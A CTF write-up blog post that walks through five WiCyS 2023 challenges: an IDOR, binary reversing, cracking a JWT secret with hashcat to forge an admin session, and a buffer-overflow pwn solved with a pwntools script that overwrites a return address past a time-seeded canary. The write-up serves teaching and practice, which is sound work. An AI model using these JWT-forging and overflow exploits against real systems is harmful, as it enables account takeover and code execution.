Home WiCyS CTF 2023
Post
Cancel

WiCyS CTF 2023

WiCyS CTF 2023

This weekend I participated in the 2023 RIT Women in Cybersecurity CTF challenge. Overall it was pretty fun, and I ended up coming in first place, winning the grand prize of a new wireless mechanical keyboard šŸ˜Ž. There were a lot of challenges, some good and some less good, but I picked five of my favorites to share.

Intergalactic Disco Octopus Rave

This was the first challenge I looked at. It ended up being really easy, but I found it enjoyable and silly regardless.

Upon going to the site, I saw an image of an octopus moving around on the screen, and a button under it prompting the user to get another one.

Clicking the button sent the user to /octopus/1, where a slightly different dancing octopus was displayed. I proceeded to click the button several more times, the number in the path incrementing each time

After clicking the button a bunch of times, the site started to take longer and longer to load. I figured this was intended, as the text on the button talks about how ā€œancient octopodes take more time to get readyā€. Replacing the number in the url with a larger number (in the hundreds) the site just kept loading, never showing me the octopus.

Opening up dev tools and looking in the sources tab, I could see that the image was being loaded from /static/party/octopus{n}.png, where n is the octopus number.

At this point the vulnerability was fairly obviously an idor. Requesting any octopus number immedately returned the relevant image, if accessed via the static directory.

I requested octopus 9999, to which I got a 404 error. Doing a binary search, I next requested 5000, then 2500, then 1250, then 625. 625 showed a valid octopus, at which point I assumed there were probably 1000 octopi. Going to /static/party/octopus1000.png, it was obviously not an octopus. Opening up the sources tab, I could see that the file contained the flag.

1
WCS{aHR0cHM6Ly93d3cubWVycmlhbS13ZWJzdGVyLmNvbS9ncmFtbWFyL3RoZS1tYW55LXBsdXJhbHMtb2Ytb2N0b3B1cy1vY3RvcGktb2N0b3B1c2VzLW9jdG9wb2RlcwpodHRwczovL2VuLndpa3Rpb25hcnkub3JnL3dpa2kvb2N0b3BvZGVzCmh0dHBzOi8vd3d3LmV0eW1vbmxpbmUuY29tL3NlYXJjaD9xPW9jdG9wdXM=}

Secrets From a Dead Sailor

This challenge provided a file to download named bottle. Upon opening it in Ghidra, it was detected as having nested files in it. Upon extracting them, I could see it contained another file named message. This fits with the challenge name, a ā€œmessageā€ in the ā€œbottleā€ file could be the secret from the sailor.

Looking inside message, I could see a function named secret. At first it looked like it just returned nothing, but looking closer in the assembly there was obviously something sus afoot.

Those bytes looked like characters. Putting them into cyberchef, it was clearly the flag.

1
WCS{BOO!}

Hider

This one was a cool reversing challenge. It was more interesting than the most of the other ones because it couldnā€™t just be solved for grepping through the binary for the flag format.

Upon running the provided binary, I was met with this output

Tragically it looks like they want me to actually do work for this one šŸ˜­.

The first thing I do with reversing challenges is pop the binary into Ghidra to see what it can find. In this case, it seems like all of the relevant code is in the main() function, but itā€™s a little bit obfuscated. This obfuscation is a lot nicer than some other stuff Iā€™ve been dealing with for unrelated projects, so honestly itā€™s kinda a breath of fresh air.

Ghidraā€™s decompiled main() looked like this.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
undefined8 main(void)

{
  byte bVar1;
  int iVar2;
  size_t sVar3;
  undefined8 local_88;
  undefined8 local_80;
  undefined8 local_78;
  undefined8 local_70;
  undefined4 local_68;
  undefined local_64;
  char local_58 [56];
  char *local_20;
  int local_14;
  int local_10;
  int local_c;
  
  local_88 = 0x5fa7c9c6de9988b7;
  local_80 = 0xd6a778c3ce969a77;
  local_78 = 0x89b8c395a6a5a7d6;
  local_70 = 0x9e8fc3c89893b485;
  local_68 = 0x3fbcb0a1;
  local_64 = 0;
  printf("Please insert the flag phrase: ");
  fgets(local_58,0x32,stdin);
  sVar3 = strlen(local_58);
  local_c = (int)sVar3;
  if (local_58[local_c + -1] == '\n') {
    local_58[local_c + -1] = '\0';
    local_c = local_c + -1;
  }
  local_20 = (char *)malloc((long)local_c);
  strcpy(local_20,local_58);
  for (local_10 = 0; local_10 < local_c; local_10 = local_10 + 1) {
    for (local_14 = 0; local_14 < (int)(uint)(byte)local_20[(long)local_10 + 1];
        local_14 = local_14 + 1) {
      bVar1 = local_20[local_10];
      switch((uint)bVar1 + (((uint)bVar1 * 0x21 + (uint)bVar1 * 8) * 5 >> 10 & 0x3f) * -5 & 0xff) {
      case 0:
        local_20[local_10] = -~local_20[local_10];
        break;
      case 1:
        iVar2 = snprintf((char *)0x0,0,"0%*s",(ulong)(byte)local_20[local_10],&DAT_00102028);
        local_20[local_10] = (char)iVar2;
        break;
      case 2:
        local_20[local_10] =
             local_20[local_10] + ((local_20[local_10] & 1U) == 0) + (local_20[local_10] & 1U);
        break;
      case 3:
        local_20[local_10] = (char)((uint)(byte)local_20[local_10] * 0x1000000 + 0x1000000 >> 0x18);
        break;
      case 4:
        local_20[local_10] = local_20[local_10] + '\x01';
      }
    }
  }
  local_10 = 0;
  do {
    if (local_20[local_10] != *(char *)((long)&local_88 + (long)local_10)) {
      puts("FAILURE!");
      return 0xffffffff;
    }
    local_10 = local_10 + 1;
  } while ((local_20[local_10] != '\0') && (*(char *)((long)&local_88 + (long)local_10) != '\0'));
  puts("FLAG ACCEPTED");
  return 0;
}

The first thing I did was go through and re-type the variables. Experience with Ghidra tells me that local_88, local_80, local_78, local_70, local_68, and local_64 are all actually just the same buffer. I counted the number of bytes, and then retyped local_88 as a char[36], and renamed it to enc_flag, because thatā€™s logically the only thing it could really be.

I then had code that looked like this

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
enc_flag[0] = -0x49;
enc_flag[1] = -0x78;
enc_flag[2] = -0x67;
enc_flag[3] = -0x22;
enc_flag[4] = -0x3a;
enc_flag[5] = -0x37;
enc_flag[6] = -0x59;
enc_flag[7] = '_';
enc_flag[8] = 'w';
enc_flag[9] = -0x66;
enc_flag[10] = -0x6a;
enc_flag[11] = -0x32;
enc_flag[12] = -0x3d;
enc_flag[13] = 'x';
enc_flag[14] = -0x59;
enc_flag[15] = -0x2a;
enc_flag[16] = -0x2a;
enc_flag[17] = -0x59;
enc_flag[18] = -0x5b;
enc_flag[19] = -0x5a;
enc_flag[20] = -0x6b;
enc_flag[21] = -0x3d;
enc_flag[22] = -0x48;
enc_flag[23] = -0x77;
enc_flag[24] = -0x7b;
enc_flag[25] = -0x4c;
enc_flag[26] = -0x6d;
enc_flag[27] = -0x68;
enc_flag[28] = -0x38;
enc_flag[29] = -0x3d;
enc_flag[30] = -0x71;
enc_flag[31] = -0x62;
enc_flag[32] = -0x5f;
enc_flag[33] = -0x50;
enc_flag[34] = -0x44;
enc_flag[35] = '?';

which makes a lot more sense than what it was before. I also went through and re-named a bunch of other variables to make the code easier to understand.

I then had code that looked like this.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
  printf("Please insert the flag phrase: ");
  fgets(input,0x32,stdin);
  len = strlen(input);
  input_length = (int)len;
  if (input[input_length + -1] == '\n') {
    input[input_length + -1] = '\0';
    input_length = input_length + -1;
  }
  in_copy = (char *)malloc((long)input_length);
  strcpy(in_copy,input);
  for (i = 0; i < input_length; i = i + 1) {
    for (j = 0; j < (int)(uint)(byte)in_copy[(long)i + 1]; j = j + 1) {
      bVar1 = in_copy[i];
      switch((uint)bVar1 + (((uint)bVar1 * 0x21 + (uint)bVar1 * 8) * 5 >> 10 & 0x3f) * -5 & 0xff) {
      case 0:
        in_copy[i] = -~in_copy[i];
        break;
      case 1:
        iVar2 = snprintf((char *)0x0,0,"0%*s",(ulong)(byte)in_copy[i],&DAT_00102028);
        in_copy[i] = (char)iVar2;
        break;
      case 2:
        in_copy[i] = in_copy[i] + ((in_copy[i] & 1U) == 0) + (in_copy[i] & 1U);
        break;
      case 3:
        in_copy[i] = (char)((uint)(byte)in_copy[i] * 0x1000000 + 0x1000000 >> 0x18);
        break;
      case 4:
        in_copy[i] = in_copy[i] + '\x01';
      }
    }
  }
  i = 0;
  do {
    if (in_copy[i] != enc_flag[i]) {
      puts("FAILURE!");
      return 0xffffffff;
    }
    i = i + 1;WICYS/
  } while ((in_copy[i] != '\0') && (enc_flag[i] != '\0'));
  puts("FLAG ACCEPTED");
  return 0;

This is very close to being fully read-able, but this line is still problematic.

1
iVar2 = snprintf((char *)0x0,0,"0%*s",(ulong)(byte)in_copy[i],&DAT_00102028);

Upon checking out what DAT_00102028 was, I was surpised to see that it wasā€¦ nothing.

I retyped it as a string, which made the line turn into

1
iVar2 = snprintf((char *)0x0,0,"0%*s",(ulong)(byte)in_copy[i],"");

The interesting thing about this is that it seems to be setting 0 bytes at 0x0 to nothing, from the in_copy[i] value. Even more interesting is that it ends up re-assigning in_copy[i] to what snprintf returns. Looking at the man pages for snprintf, I learned that it has some surprising behavior.

Upon successful return, these functions return the number of characters printed (excluding the null byte used to end output to strings).

At this point I cleaned the code up a little further, and compiled it myself, adding some printf lines for debugging. It looked like this would result in simply adding 1 to the value of in_copy[i], and sure enough thatā€™s what it did.

I quickly realized I could just implement the same debugging logic on the other cases as well, at which point it became obvious that it simply added one, regardless of which case it was. This let me massively simplify the code. I could remove the switch statement entirely and simply hardcode the += 1, and it would maintain the same functionality.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
for (i = 0; i < input_length; i = i + 1) {
    for (j = 0; j < in_copy[i + 1]; j = j + 1) {
        in_copy[i] = in_copy[i] + 1;
    }
}
i = 0;
do {
    if (in_copy[i] != enc_flag[i]) {
        puts("FAILURE!");
        return -1;
    }
    i = i + 1;
} while ((in_copy[i] != '\0') && (enc_flag[i] != '\0'));
puts("FLAG ACCEPTED");
return 0;

I did some more debugging of the functionality, and I noticed that it never encrypts the final character, meaning that the ? from enc_flag[35] is its real value. This is important because it iterates over the code that adds to the current value a different number of times based on the value of the next value. It took me a second to realize this meant I had to decrypt going backwards instead of forwards, which was easy enough. I wrote a similar loop to undo the operation that it performs there on the encrypted flag values, and print it out.

1
2
3
4
5
6
for (i = 34; i >= 0; i = i - 1) {
    for (j = 0; j < enc_flag[i + 1]; j = j + 1) {
        enc_flag[i] = enc_flag[i] - 1;
    }
}
printf("%s\n", enc_flag);

Running this code output the flag in its proper form

Just for fun I put this back through the original program, and I was met with the success case.

1
WCS{H0w_w0u1d_Y0U_4dd_0n3}

WebStorage

This was a fun web challenge, that I probably wouldnā€™t have gotten as easily as I did if I hadnā€™t already been thinking about JWTs for unrelated reasons.

Upon visiting the URL provided in the challenge, weā€™re prompted to make an account to log in.

After creating an account and logging in, I could then see a page which listed my notes, and a list of recent logins (including an account named admin). I could create a new note by clicking on ā€œNew Noteā€

I tried for the obvious stuff first, like XSS and the like, but couldnā€™t find anything. The flag pretty obviously had to be in the admin userā€™s notes, which meant I needed to hijack that account somehow. I took a look at how the site was managing authentication. I saw in my cookies something called auth.

Plugging this into CyberChef, it immediately recognized it as a JWT.

Looking closer in jwt.io, I could see itā€™s using an HS256 signature. I took a peek through the hacktricks page for JWTs to see if anything looked relevant. The first thing I tried was simply replacing meowww with admin and leaving the signature invalid, but it rejected that. I also tried changing the algorithm to None and omitting any signature, but that also didnā€™t work.

The next thing to try was brute forcing. While I was working on it, a hint was posted that implied some brute forcing was needed, so it seemed like a pretty good guess. Hacktricks had a section dedicated to brute forcing JWTs, so I just tried what I saw there. I copied the JWT into a file called jwt.txt and ran this.

1
hashcat -m 16500 -a 0 jwt.txt rockyou.txt

I picked rockyou because it seemed like the obvious choice of a wordlist for a brute forcing challenge.

It found a candidate christal, but this still wasnā€™t quite correct. I ran it again with the --show flag and got the real output

The HMAC secret was starwars. I could then plug this back into jwt.io to produce a valid JWT for the admin account.

I replaced the auth cookie in local storage on the web app with the JWT produced by this process, and then reloaded the page. Upon doing this, I was greeted by the admin account being logged in, along with a very nice looking flag.

1
WCS{Y0U_W3R3_TH3_CH0S3N_0N3_ANAK1N}

Mission Impossi-Bird

This was a medium pwn challenge that quite honestly should have been worth more points. We were provided with a binary, bird, and its source code, bird.c. Thanks to ungato for some tips with gdb.

Upon running the program, I was prompted for a seed for a random number generator, then an input, and then a name.

Looking in the source code, I could see the main() function asked for the rng seed, and then later used it to compare the ā€œrandomā€ output with a value.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int seed1;
printf("Provide a seed for the random number generator: ");
fflush(stdout);
scanf("%d", &seed1);
getchar();
srand(seed1);

int polite = rand() % 10000;

if (polite == 1) {
    printf("Thank you for being polite! Canary McDevious steps aside to let you see Featherly.\n");
    cage(input, cur_time);
} else {
    printf("Canary McDevious doesn't appreciate your tone...\n");
}

This was trivial to work around, I simply wrote my own function that brute forced until rand() % 10000 was 1. This was my code for this bit.

1
2
3
4
5
6
7
8
9
void crack_drbg(){
    for(int i = 0; i < 10000; i++){
        srand(i);
        if(rand() % 10000 == 1){
            printf("seed found: %d\n", i);
            break;
        }
    }
}

Running this, it easily found the required seed.

Now I could move on to the next portion. I could see in the source code thereā€™s a function rescue() that reads out the flag, but itā€™s never called.

1
2
3
4
5
6
7
8
9
10
11
12
13
void rescue() { 
    printf("\nCongratulations! You've freed Featherly the Friendly Finch!\n");
    FILE *fptr = fopen("flag.txt", "r");
    if (fptr == NULL) {
        printf("\nFlag not found! Contact an organizer.\n");
    }
    char c = getc(fptr);
    while (c != EOF) {
        printf("%c", c);
        c = getc(fptr);
    }
    fclose(fptr);
}

Looking closer in the code, my IDE helpfully alerted me that the cage() function (that gets called when the seed is correct) was using strcpy(), and stated that it is potentially unsafe.

1
2
3
4
5
6
7
8
9
10
11
12
void cage(char *input, time_t seed) {
    srand(seed);
    unsigned int canary = rand();
    char name[MAX_NAME_LENGTH];
    strcpy(name, input);

    srand(seed);
    if (rand() != canary) {
        printf("Canary McDevious caught you trying to smash the cage!!\n");
        exit(0);
    }
}

When asking for the inputs in main(), using fgets(), the program specifies a maximum length for name as 64, and the max length for input as 1024.

1
2
#define MAX_INPUT_LENGTH 1024
#define MAX_NAME_LENGTH 64

When using strcpy(), itā€™s blindly copying the input buffer into name. input can be much longer than the amount of space allocated for name, which makes this look promising for a buffer overflow vulnerability. The only thing that makes sense is to try overwriting the return address of cage() to be the address of rescue().

Opening the provided bird binary in Ghidra, I was able to look for the address in question.


0x401be5 is the address of rescue()
0x401ca8 is the address of the call to strcpy()

For the next step, some dynamic analysis was needed. I started the program in gdb, and set a breakpoint on the call to strcpy()

Now when running the program, it stops right at the point we want to execute the funny business for easy debugging.

I printed out the values in memory starting from where name is

In this dump, the value 0x401e81 is the address we want to overwrite with with 0x401be5. 0x401e81 is the address of the instruction following the call to cage() in main(), so it logically has to be the return address, and the thing we want to overwrite.

This should be fairly simple. The complication arises with this portion of cage()

1
2
3
4
5
srand(seed);
if (rand() != canary) {
    printf("Canary McDevious caught you trying to smash the cage!!\n");
    exit(0);
}

The function sets a variable to a random value, seeded by the time in seconds, makes the call to strcpy(), and then compares that variable to the exact same value, generated again. Since the location of canary is between name and what weā€™re trying to overwrite, this poses an issue.

Looking again in Ghidra, we can see that canary gets stored at $rbp - 0x4.

Looking in gdb, we can see that canary is chilling at 0x7fffffffd238. Referring to the memory dump previously listed, we can see that this corresponds to 0x174f4990.

canary is at name + 0x4c, and the return address is at name + 0x58. This means that a working payload would need to contain 0x4c bytes of anything, then the correct value for canary, then 0x8 of anything, and then 0x401be5 (the address of rescue).

For figuring out the correct canary value, I wrote another c function to calculate the values for the next hour (I didnā€™t know how long it would take to complete the challenge, so I was generous here).

1
2
3
4
5
6
7
void print_times(){
    time_t cur_time = time(NULL);
    for(int i = 0; i < 3600; i++){
        srand(cur_time + i);
        printf("%lld: %d,\n", cur_time + i, rand());
    }
}

This output in the format of time: canary_value in a way I could easily turn into a Python dictionary, which then easily let me construct a payload.

1
payload = b'A' * 0x4c + struct.pack('<I', times_dict[int(time.time()) - 5 + i]) + b'A' * 0x8 + struct.pack('<I', 0x401be5) + b'\n\n'

The second \n is to skip the name prompt, which wonā€™t matter because we rewrite it anyways. I used pwntools to connect to the remote socket. My final solve script looked like this.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
from times import times_dict
import time

for i in range(10):
    try:
        # r = process('./bird')
        r = remote('ctf.wicysrit.org', 5000)
        payload = b'A' * 0x4c + struct.pack('<I', times_dict[int(time.time()) - 5 + i]) + b'A' * 0x8 + struct.pack('<I', 0x401be5) + b'\n\n'
        r.recv().decode()
        r.writeline(b"4564")
        r.recv().decode()
        r.writeline(payload)
        if "smash" in r.recv().decode():
            raise error
        if "smash" not in (response := r.recv().decode()):
            print(response)
    except:
        pass

Running it locally it worked the first time with the current time, as expected, but different machines tend to be slightly desynced. I fixed this by putting it in the for loop visible in the script, which tried a range of offsets for the time. It worked on the 8th attempt (my clock time + 2)

1
WCS{e4gl3_3yed_expl0i7er}
This post is licensed under CC BY 4.0 by the author.
Contents